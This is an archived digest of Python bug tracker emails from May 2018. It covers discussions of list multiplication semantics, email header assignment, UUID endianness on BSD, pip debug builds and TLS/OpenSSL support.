appended to the end of the message?s existing fields. Note that this does not overwrite or delete any existing header with the same name. If you want to ensure that the new header is the only one present in the message with field name name, delete the field first, e.g.: del msg['subject'] msg['subject'] = 'Python roolz!' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:03:30 2018 From: report at bugs.python.org (Jean-Philippe Landry) Date: Thu, 24 May 2018 14:03:30 +0000 Subject: [issue28547] Python to use Windows Certificate Store In-Reply-To: <1477659435.87.0.666854637981.issue28547@psf.upfronthosting.co.za> Message-ID: <1527170610.12.0.682650639539.issue28547@psf.upfronthosting.co.za> Change by Jean-Philippe Landry : ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:07:37 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 14:07:37 +0000 Subject: [issue33634] Buildbot configuration issue on Windows7 buildbots In-Reply-To: <1527161504.95.0.682650639539.issue33634@psf.upfronthosting.co.za> Message-ID: <1527170857.21.0.682650639539.issue33634@psf.upfronthosting.co.za> STINNER Victor added the comment: The configuration change is to fix bpo-33355. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:12:24 2018 From: report at bugs.python.org (nathan rogers) Date: Thu, 24 May 2018 14:12:24 +0000 Subject: [issue33636] Unexpected behavior with * and arrays Message-ID: <1527171144.64.0.682650639539.issue33636@psf.upfronthosting.co.za> New submission from nathan rogers : https://repl.it/repls/ColorfulFlusteredPercent Here you can see the unexpected behavior I was speaking of. This behavior is NOT useful compared to the expected behavior. If I reference position 0 in the array, I expect position 0 to be appended. The sensible behavior, from my view, would be to make n unique values, not n duplicates. ---------- messages: 317572 nosy: nanthil priority: normal severity: normal status: open title: Unexpected behavior with * and arrays type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:13:23 2018 From: report at bugs.python.org (Victor Domingos) Date: Thu, 24 May 2018 14:13:23 +0000 Subject: [issue33635] OSError when using pathlib.Path.rglob() to list device files In-Reply-To: <1527164127.59.0.682650639539.issue33635@psf.upfronthosting.co.za> Message-ID: <1527171203.35.0.682650639539.issue33635@psf.upfronthosting.co.za> Change by Victor Domingos : ---------- components: +IO, macOS nosy: +ned.deily, ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:14:08 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 14:14:08 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec In-Reply-To: <1527058885.03.0.682650639539.issue33611@psf.upfronthosting.co.za> Message-ID: <1527171248.87.0.682650639539.issue33611@psf.upfronthosting.co.za> STINNER Victor added the comment: msg317525, s (sm): "Guys, (...)" In the future please use gender-neutral words such as "folks" and "y'all" instead of "guys". Thanks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:14:46 2018 From: report at bugs.python.org (Christian Heimes) Date: Thu, 24 May 2018 14:14:46 +0000 Subject: [issue31453] Debian Sid/Buster: Cannot enable TLS 1.0/1.1 with PROTOCOL_TLS In-Reply-To: <1505317705.14.0.640405907228.issue31453@psf.upfronthosting.co.za> Message-ID: <1527171286.54.0.682650639539.issue31453@psf.upfronthosting.co.za> Christian Heimes added the comment: The problem no longer affects Python 3.7 and 3.8. It may affects Python 3.6 and 2.7 if Debian to decide to disable TLS 1.0 and 1.1 again. If Debian uses the new OpenSSL 1.1.0 API to disable the protocols, then I have to backport https://bugs.python.org/issue32609 to 2.7 and 3.6. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:17:09 2018 From: report at bugs.python.org (Christian Heimes) Date: Thu, 24 May 2018 14:17:09 +0000 Subject: [issue32947] Support OpenSSL 1.1.1 In-Reply-To: <1519559680.67.0.467229070634.issue32947@psf.upfronthosting.co.za> Message-ID: <1527171429.18.0.682650639539.issue32947@psf.upfronthosting.co.za> Christian Heimes added the comment: 3.7 and 3.8 support OpenSSL 1.1.1-pre7-dev. For 3.6 and 2.7 I have to backport some test fixes and documentation. I prefer to wait until both TLS 1.3 and OpenSSL 1.1.1 have been finalized. Once 1.1.1 is out, I'll fix the outstanding issues on master and then backport all fixes to 3.6 / 2.7. ---------- versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:23:27 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 14:23:27 +0000 Subject: [issue32706] test_check_hostname() of test_ftplib started to fail randomly In-Reply-To: <1517225256.94.0.467229070634.issue32706@psf.upfronthosting.co.za> Message-ID: <1527171807.67.0.682650639539.issue32706@psf.upfronthosting.co.za> STINNER Victor added the comment: Oh. I forgot about this change. The test is still skipped :-( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:24:18 2018 From: report at bugs.python.org (William Grzybowski) Date: Thu, 24 May 2018 14:24:18 +0000 Subject: [issue33625] Release GIL for grp.getgr{nam, gid} and pwd.getpw{nam, uid} In-Reply-To: <1527105781.7.0.682650639539.issue33625@psf.upfronthosting.co.za> Message-ID: <1527171858.7.0.682650639539.issue33625@psf.upfronthosting.co.za> William Grzybowski added the comment: I have updated the PR to used the re-entrant versions. Let me know what you guys think. Thanks! ---------- title: Disable GIL on getpwnam and getpwuid -> Release GIL for grp.getgr{nam,gid} and pwd.getpw{nam,uid} _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:27:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 14:27:58 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec In-Reply-To: <1527058885.03.0.682650639539.issue33611@psf.upfronthosting.co.za> Message-ID: <1527172078.77.0.682650639539.issue33611@psf.upfronthosting.co.za> STINNER Victor added the comment: Slava doesn't seem to want to provide any useful information to debug his event, whereas Naoki asked multiple times gently. I also dislike Slava's tone in answers, trolling Python 3 doesn't help to fix your issue... There are millions of Python 3 users on Windows, and it's the first time that I see this bug on Windows. So it's likely something very specific to your setup. It's very unlikely a bug in the Windows installer of Python, so I close the issue. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:34:37 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 14:34:37 +0000 Subject: [issue33627] test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527172477.01.0.682650639539.issue33627@psf.upfronthosting.co.za> STINNER Victor added the comment: > Do we have builds with Adress Sanatizer or Undefined Behavior Sanitizer? Gregory recently added new USBan builders. Example: http://buildbot.python.org/all/#/builders/135 It's something very new, there are millions of logged warnings :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:38:38 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 24 May 2018 14:38:38 +0000 Subject: [issue33636] Unexpected behavior with * and arrays In-Reply-To: <1527171144.64.0.682650639539.issue33636@psf.upfronthosting.co.za> Message-ID: <1527172718.88.0.682650639539.issue33636@psf.upfronthosting.co.za> Steven D'Aprano added the comment: This is not a bug, it is the documented behaviour: the * operator does not copy the lists, it duplicates references to the same list. There's even a FAQ for it: https://docs.python.org/3/faq/programming.html#how-do-i-create-a-multidimensional-list ---------- nosy: +steven.daprano resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:39:10 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 14:39:10 +0000 Subject: [issue33630] test_posix: TestPosixSpawn fails on PPC64 Fedora 3.x In-Reply-To: <1527128333.92.0.682650639539.issue33630@psf.upfronthosting.co.za> Message-ID: <1527172750.83.0.682650639539.issue33630@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: -6734 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:39:32 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 14:39:32 +0000 Subject: [issue33530] Implement Happy Eyeball in asyncio In-Reply-To: <1526439388.6.0.682650639539.issue33530@psf.upfronthosting.co.za> Message-ID: <1527172772.43.0.682650639539.issue33530@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: +njs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:49:17 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 14:49:17 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527173357.85.0.682650639539.issue32493@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6735 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 10:49:37 2018 From: report at bugs.python.org (nathan rogers) Date: Thu, 24 May 2018 14:49:37 +0000 Subject: [issue33636] Unexpected behavior with * and arrays In-Reply-To: <1527171144.64.0.682650639539.issue33636@psf.upfronthosting.co.za> Message-ID: <1527173377.37.0.682650639539.issue33636@psf.upfronthosting.co.za> nathan rogers added the comment: Can anyone give me a legitimate answer as to why this would be expected behavior? When at any point would you ever need that? If the list is local, you already have the thing. If it isn't local, you can pass it to a function by reference. So then, why would you ever need N references to the same thing? Are you going to run out? Are your functions buying tickets to the reference of my thing show, and you're afraid those tickets will run out? What is this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 11:00:44 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 15:00:44 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527174044.88.0.682650639539.issue32493@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Is AIX big-endian? On *BSD systems uuid_t is a structure of integers with platform-depending endianess. Thus on little-endian platform UUID should be called with the bytes_le argument. This doesn't fix test on OpenBSD and NetBSD, but at least the result is stable (version=4). Using bytes_le on Linux breaks tests. Seems uuid_generate_time_safe() always returns bytes in big-endian order. PR 7098 adds _uuid.little_endian which is true on little-endian platforms using uuid_create(), and false otherwise. Actually there are many ways of solving this problem, the choice of this design was arbitrary. _uuid.generate_time_safe() could return a 3-tuple instead of 2-tuple, or there could be two separate functions: _uuid.generate_time_safe() and _uuid.create(). ---------- stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 11:01:14 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 15:01:14 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527174074.3.0.682650639539.issue32493@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 11:05:43 2018 From: report at bugs.python.org (nathan rogers) Date: Thu, 24 May 2018 15:05:43 +0000 Subject: [issue33636] Unexpected behavior with * and arrays In-Reply-To: <1527171144.64.0.682650639539.issue33636@psf.upfronthosting.co.za> Message-ID: <1527174343.74.0.682650639539.issue33636@psf.upfronthosting.co.za> nathan rogers added the comment: [[], [], [], [], []] How is it expected behavior in python, that when I update position 0, it decides to update positions 1-infinity as well? That is nonsense, and there is not a use case for this behavior. If you have already created the value, you have the value locally, and don't need N-REFERENCES to that thing. When calling functions as well, there will never be a time when you need more than 1 reference to the thing. How is this useful, and in what context could this ever be intuitive? If this is not a bug, it countermands the zen of python on almost every alternate line. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 11:34:58 2018 From: report at bugs.python.org (s) Date: Thu, 24 May 2018 15:34:58 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec In-Reply-To: <1527172078.77.0.682650639539.issue33611@psf.upfronthosting.co.za> Message-ID: s added the comment: :) sure. if you want to close it - it's up to you. if you however, want to fix it, please tell me what information do you need me to provide. I don't think my tone was bad/offensive. ...and it's still a bug, regardless of my tone or anything else. and by the way, I don't like yours tone. I used brew and pip bash --version GNU bash, version 4.4.12(1)-release (x86_64-apple-darwin16.3.0) Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later which python /usr/bin/python env _system_type=Darwin OPT=/opt LANG=en_US.UTF-8 XPC_FLAGS=0x0 DISPLAY=/private/tmp/com.apple.launchd.XNIGqOXCBz/org.macosforge.xquartz:0 rvm_bin_path=/Users/xxxx/.rvm/bin TERM_SESSION_ID=781A3902-E266-48B2-8BDF-0114DE0CAC97 rvm_version=1.26.11 (latest) RUBY_VERSION=ruby-2.2.3 GEM_HOME=/Users/xxxx/.rvm/gems/ruby-2.2.3 JAVA_HOME=/usr SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.tIfMUtKKFM/Listeners GVM_ROOT=/Users/xxxx/.gvm STDLIB=/usr/local/lib USER=xxxx RBENV_SHELL=bash GOPATH=/Users/xxxx/working/golang/projects PWD=/Users/xxxx/working/python/scripts/passman/db _system_version=10.13 HOME=/Users/xxxx GOROOT=/usr/local/go LC_CTYPE=en_US.UTF-8 _system_name=OSX rvm_user_install_flag=1 TERM_PROGRAM=Apple_Terminal TERM_PROGRAM_VERSION=404 Apple_PubSub_Socket_Render=/private/tmp/com.apple.launchd.zL9jzzDVzY/Render _system_arch=x86_64 GEM_PATH=/Users/xxxx/.rvm/gems/ruby-2.2.3:/Users/xxxx/.rvm/gems/ruby-2.2.3 at global TMPDIR=/var/folders/g8/xflwp75s5nv0lc4wmhz2t2700000gn/T/ rvm_stored_umask=0022 rvm_loaded_flag=1 rvm_path=/Users/xxxx/.rvm XPC_SERVICE_NAME=0 SHELL=/bin/bash TERM=xterm-256color SECURITYSESSIONID=186a7 rvm_prefix=/Users/xxxx SHLVL=2 PYENV_SHELL=bash PYTHONPATH=/usr/local/lib/python2.7/site-packages LOGNAME=xxxx LDFLAGS=/usr/local/opt/bison/lib GOBIN=/usr/local/go/bin STDINCLUDE=/usr/local/include MY_RUBY_HOME=/Users/xxxx/.rvm/rubies/ruby-2.2.3 PATH=/opt/:/usr/local/lib:/usr/local/include:/usr/local/opt/bison/bin:/usr/local/opt/e2fsprogs/sbin:/Users/xxxx/.pyenv/shims:/Users/xxxx/.rvm/gems/ruby-2.2.3/bin:/Users/xxxx/.rvm/gems/ruby-2.2.3 at global /bin:/Users/xxxx/.rvm/rubies/ruby-2.2.3/bin:/Users/xxxx/.rbenv/shims:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/go/bin:/opt/X11/bin:/Library/Frameworks/Mono.framework/Versions/Current/Commands:/Applications/Wireshark.app/Contents/MacOS:/Applications/Postgres.app/Contents/Versions/latest/bin/:/Users/xxxx/.rvm/bin:/usr/local/go/bin:/Users/xxxx/working/golang/projects:/usr/local/go/bin:/usr/local/include:/opt:/usr/local/lib:/Users/xxxx/.rvm/bin:/usr/local/go/bin:/usr/local:/opt IRBRC=/Users/xxxx/.rvm/rubies/ruby-2.2.3/.irbrc GOROOT_BOOTSTRAP=/usr/local/go _=/usr/bin/env On Thu, May 24, 2018 at 7:27 AM, STINNER Victor wrote: > > STINNER Victor added the comment: > > Slava doesn't seem to want to provide any useful information to debug his > event, whereas Naoki asked multiple times gently. I also dislike Slava's > tone in answers, trolling Python 3 doesn't help to fix your issue... > > There are millions of Python 3 users on Windows, and it's the first time > that I see this bug on Windows. So it's likely something very specific to > your setup. > > It's very unlikely a bug in the Windows installer of Python, so I close > the issue. > > ---------- > resolution: -> not a bug > stage: -> resolved > status: open -> closed > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 11:37:41 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 15:37:41 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec In-Reply-To: <1527058885.03.0.682650639539.issue33611@psf.upfronthosting.co.za> Message-ID: <1527176261.29.0.682650639539.issue33611@psf.upfronthosting.co.za> Ned Deily added the comment: > PYTHONPATH=/usr/local/lib/python2.7/site-packages That looks pretty suspicious right there. It's pulling in 2.7 modules. Normally you should never need to set PYTHONPATH in a shell initialization script, like .profile, rarely elsewhere. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 12:14:40 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 24 May 2018 16:14:40 +0000 Subject: [issue33396] IDLE: Improve and document help doc viewer In-Reply-To: <1525147664.58.0.682650639539.issue33396@psf.upfronthosting.co.za> Message-ID: <1527178480.67.0.682650639539.issue33396@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Point 1 is #33397. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 12:26:34 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 16:26:34 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1527179194.81.0.682650639539.issue33355@psf.upfronthosting.co.za> Ned Deily added the comment: The Windows7 buildbot now runs the test suite with the "largefile" resource disabled and no longer timed out on test_mmap. So that immediate problem is now resolved. Before closing the issue, it would be good to discuss whether we should do the same for some of the other Windows buildbots (perhaps allow "largefile" only on the buildbot with the most capacity?) and/or disabling "largefile" on all Windows CI tests (if not done already). ---------- priority: deferred blocker -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 13:07:26 2018 From: report at bugs.python.org (R. David Murray) Date: Thu, 24 May 2018 17:07:26 +0000 Subject: [issue33633] smtplib msg['To] = appends instead of assigning In-Reply-To: <1527159033.13.0.682650639539.issue33633@psf.upfronthosting.co.za> Message-ID: <1527181646.7.0.682650639539.issue33633@psf.upfronthosting.co.za> R. David Murray added the comment: smtplib doesn't define any behavior for messages. I presume you are talking about the email library? Vis the print behavior, dict-style lookup is defined to return the first matching header. If you want to see all of them, you can use get_all. For debugging, you should print the whole message, which would show the duplicate headers: >>> from email.message import Message >>> msg = Message() >>> msg['To'] = 'abc at xyz.com' >>> msg['To'] = 'xyz at abc.com' >>> print(msg) To: abc at xyz.com To: xyz at abc.com With the new API this is better, at least in terms of debugging: >>> from email.message import EmailMessage >>> msg = EmailMessage() >>> msg['To'] = 'abc at xyz.com' >>> print(msg) To: abc at xyz.com >>> msg['To'] = 'xyz at abc.com' Traceback (most recent call last): File "", line 1, in File "/home/rdmurray/python/p38/Lib/email/message.py", line 408, in __setitem__ "in a message".format(max_count, name)) ValueError: There may be at most 1 To headers in a message This can't be changed in the old API for backward compatibility reasons. ---------- nosy: +r.david.murray resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 13:10:47 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 24 May 2018 17:10:47 +0000 Subject: [issue33637] pip cannot build extensions for debug Python Message-ID: <1527181847.69.0.682650639539.issue33637@psf.upfronthosting.co.za> New submission from Ivan Pozdeev : (the output is for 2.7 head; for master, it's the same save for paths, library versions and DeprecationWarning's) >python.bat -m ensurepip Running Debug|x64 interpreter... Looking in links: c:\users\sasha\appdata\local\temp\tmpiysoby Collecting setuptools Collecting pip Installing collected packages: setuptools, pip Successfully installed pip-10.0.1 setuptools-39.0.1 >python.bat -m pip install scandir Running Debug|x64 interpreter... Collecting scandir Using cached https://files.pythonhosted.org/packages/13/bb/e541b74230bbf7a20a3949a2ee6631be299378a784f5445aa5d0047c192b/scandir-1.7.tar.gz Installing collected packages: scandir Running setup.py install for scandir ... error Complete output from command C:\Users\Sasha\Documents\cpython\PCBuild\amd64\python_d.exe -u -c "import setuptools, tokenize;__file__='c:\\users\\sasha\\appdata\\local\\temp\\pip-install-xafnbn\\scandir\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record c:\users\sasha\appdata\local\temp\pip-record-gbe0kk\install-record.txt --single-version-externally-managed --compile: running install running build running build_py creating build creating build\lib.win-amd64-2.7-pydebug copying scandir.py -> build\lib.win-amd64-2.7-pydebug running build_ext building '_scandir' extension creating build\temp.win-amd64-2.7-pydebug creating build\temp.win-amd64-2.7-pydebug\Release c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\BIN\amd64\cl.exe /c /nologo /Ox /MD /W3 /GS- /DNDEBUG -IC:\Users\Sasha\Documents\cpython\include -IC:\Users\Sasha\Documents\cpython\PC /Tc_scandir.c /Fobuild\temp.win-amd64-2.7-pydebug\Release\_scandir.obj _scandir.c c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\BIN\amd64\link.exe /DLL /nologo /INCREMENTAL:NO /LIBPATH:C:\Users\Sasha\Documents\cpython\libs /LIBPATH:C:\Users\Sasha\Documents\cpython\PCbuild\amd64 /LIBPATH:C:\Users\Sasha\Documents\cpython\PC\VS9.0\amd64 /EXPORT:init_scandir build\temp.win-amd64-2.7-pydebug\Release\_scandir.obj /OUT:build\lib.win-amd64-2.7-pydebug\_scandir.pyd /IMPLIB:build\temp.win-amd64-2.7-pydebug\Release\_scandir.lib /MANIFESTFILE:build\temp.win-amd64-2.7-pydebug\Release\_scandir.pyd.manifest LINK : fatal error LNK1104: cannot open file 'python27.lib' error: command 'c:\\Program Files (x86)\\Microsoft Visual Studio 9.0\\VC\\BIN\\amd64\\link.exe' failed with exit status 1104 ---------------------------------------- Command "C:\Users\Sasha\Documents\cpython\PCBuild\amd64\python_d.exe -u -c "import setuptools, tokenize;__file__='c:\\users\\sasha\\appdata\\local\\temp\\pip-install-xafnbn\\scandir\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record c:\users\sasha\appdata\local\temp\pip-record-gbe0kk\install-record.txt --single-version-externally-managed --compile" failed with error code 1 in c:\users\sasha\appdata\local\temp\pip-install-xafnbn\scandir\ The cause is that distutils' `build_ext` looks at the --debug switch instead of the running Python to decide which Python runtime to link against. A workaround is thus to run setup.py by hand with the --debug switch. Suggested fix is to split compiler options into optimization options and linking options and: * for debug Python, build without optimizations and against debug C runtime + Python runtime regardless of --debug * for release Python, * build without optimizations but against release C runtime + Python runtime with --debug Rationale: * It doesn't make sense to try to build against a different runtime than the running Python -- this will always fail because include/lib paths, preprocessor directives and such that build_ext generates is for the running Python. * Must build against the same C runtime that Python uses in any case since using two different runtimes will break things, especially in 2.7 that relies on stdio. * Building an extension without optimizations will allow to diagnose problems in it. Debug facilities of the runtime like malloc tracking and probably tracing will not work, but at least one will see all the variables and call hierarchy. ---------- components: Distutils messages: 317589 nosy: Ivan.Pozdeev, dstufft, eric.araujo priority: normal severity: normal status: open title: pip cannot build extensions for debug Python type: behavior versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 13:25:26 2018 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 24 May 2018 17:25:26 +0000 Subject: [issue33636] Unexpected behavior with * and arrays In-Reply-To: <1527171144.64.0.682650639539.issue33636@psf.upfronthosting.co.za> Message-ID: <1527182726.94.0.682650639539.issue33636@psf.upfronthosting.co.za> Mark Dickinson added the comment: @nanthil: If you want to discuss the reasons behind this design decision further, I'd suggest asking on one of the mailing lists, e.g. https://mail.python.org/mailman/listinfo/python-list This is not the right forum for this discussion. Please don't re-open this issue. ---------- nosy: +mark.dickinson status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 13:30:27 2018 From: report at bugs.python.org (William Scullin) Date: Thu, 24 May 2018 17:30:27 +0000 Subject: [issue33174] error building the _sha3 module with Intel 2018 compilers In-Reply-To: <1522267262.01.0.467229070634.issue33174@psf.upfronthosting.co.za> Message-ID: <1527183027.6.0.682650639539.issue33174@psf.upfronthosting.co.za> William Scullin added the comment: Hi Kenneth: I can recreate this issue on Haswell, Skylake-X, and KNL running SLES 12, Clear Linux, and Centos 7.5. I've tried 18.1 and 18.2. It's still present across the board with Intel C/C++ 18.0.2.199. On the Centos 7.5.1804 image, the build will seemingly complete, but since _sha3 didn't actually compile, the regression tests will fail with errors of the form: $ /dev/shm/testinstall/icc/python/3.6.5/bin/python3 -m test ERROR:root:code for hash sha3_224 was not found. Traceback (most recent call last): File "/dev/shm/testinstall/icc/python/3.6.5/lib/python3.6/hashlib.py", line 121, in __get_openssl_constructor f = getattr(_hashlib, 'openssl_' + name) AttributeError: module '_hashlib' has no attribute 'openssl_sha3_224' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/dev/shm/testinstall/icc/python/3.6.5/lib/python3.6/hashlib.py", line 243, in globals()[__func_name] = __get_hash(__func_name) File "/dev/shm/testinstall/icc/python/3.6.5/lib/python3.6/hashlib.py", line 128, in __get_openssl_constructor return __get_builtin_constructor(name) File "/dev/shm/testinstall/icc/python/3.6.5/lib/python3.6/hashlib.py", line 113, in __get_builtin_constructor raise ValueError('unsupported hash type ' + name) ValueError: unsupported hash type sha3_224 ERROR:root:code for hash sha3_256 was not found. Traceback (most recent call last): File "/dev/shm/testinstall/icc/python/3.6.5/lib/python3.6/hashlib.py", line 121, in __get_openssl_constructor f = getattr(_hashlib, 'openssl_' + name) AttributeError: module '_hashlib' has no attribute 'openssl_sha3_256' ... Searching about, it looks like you may have seen something similar in EasyBuild: https://github.com/easybuilders/easybuild-easyconfigs/pull/5086 but it doesn't look like the root cause was sussed out. - William ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 13:33:41 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 17:33:41 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527183221.26.0.682650639539.issue32493@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6736 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 13:38:03 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 17:38:03 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527183483.17.0.682650639539.issue32493@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: PR 7099 is an alternate solution. I uses uuid_enc_be() which is not part of the DCE 1.1 RPC specification but exists on all *BSD. Both solutions gives the same result on *BSD and AIX. I have no idea what solution is appropriate for little-endian non-BSD platform (if there is such platform supporting uuid_create()). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 13:42:07 2018 From: report at bugs.python.org (R. David Murray) Date: Thu, 24 May 2018 17:42:07 +0000 Subject: [issue33636] Unexpected behavior with * and arrays In-Reply-To: <1527171144.64.0.682650639539.issue33636@psf.upfronthosting.co.za> Message-ID: <1527183727.89.0.682650639539.issue33636@psf.upfronthosting.co.za> R. David Murray added the comment: I wrote up a response before Mark closed the issue, so despite his excellent no discussion suggestion I'm going to post it for the edification of anyone reading the issue later rather than waste the work :) Nathan: this is *long* established behavior of python. It is baked in to the language. Even if we thought it was a good idea to change it, that cannot be done for backward compatibility reasons. As for why it works the way it does, consider the following (potentially useful!) cases: > [1, 2] * 5 [1, 2, 1, 2, 1, 2, 1, 2, 1, 2] > [(1, 2)] * 5 [(1, 20), (1, 20), (1, 20), (1, 20), (1, 20)] What Python is doing is filling the created list with *copies of the pointers to the listed values*, which is much more sensible than creating, say, multiple copies in memory of the integers 1 and 2. That is, you are observing a specific, non-intuitive and rarely useful result of a general rule that *is* useful and intuitive. Also note that *even if* we wanted to try to make exceptions for "mutable" verses "non-mutable" elements when doing this replication, we can't, because there's a difference between 'copy' and 'deepcopy' in Python, and Python refuses to guess. So, if you want copies of a list, *you* have to make the correct kind of copies for your application. Python just copies the pointers like it does for every other type of object multiplied into a list. By the way, when a core dev closes an issue, the convention is that you can present an argument for it being reopened, but you don't reopen it yourself. (No way for you to know that that is our convention, which is why I'm telling you :) But as should be clear by now, this is a closed issue and further discussion here would be counter-productive for all of us. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 13:52:39 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 17:52:39 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527184359.65.0.682650639539.issue33614@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I think the underlying issue is not fixed still. Adding new symbols in python3.def will break this buildbot (as well as users worktrees) again. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 13:53:59 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 17:53:59 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527184439.87.0.682650639539.issue33612@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you for fixing this Victor! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 13:54:17 2018 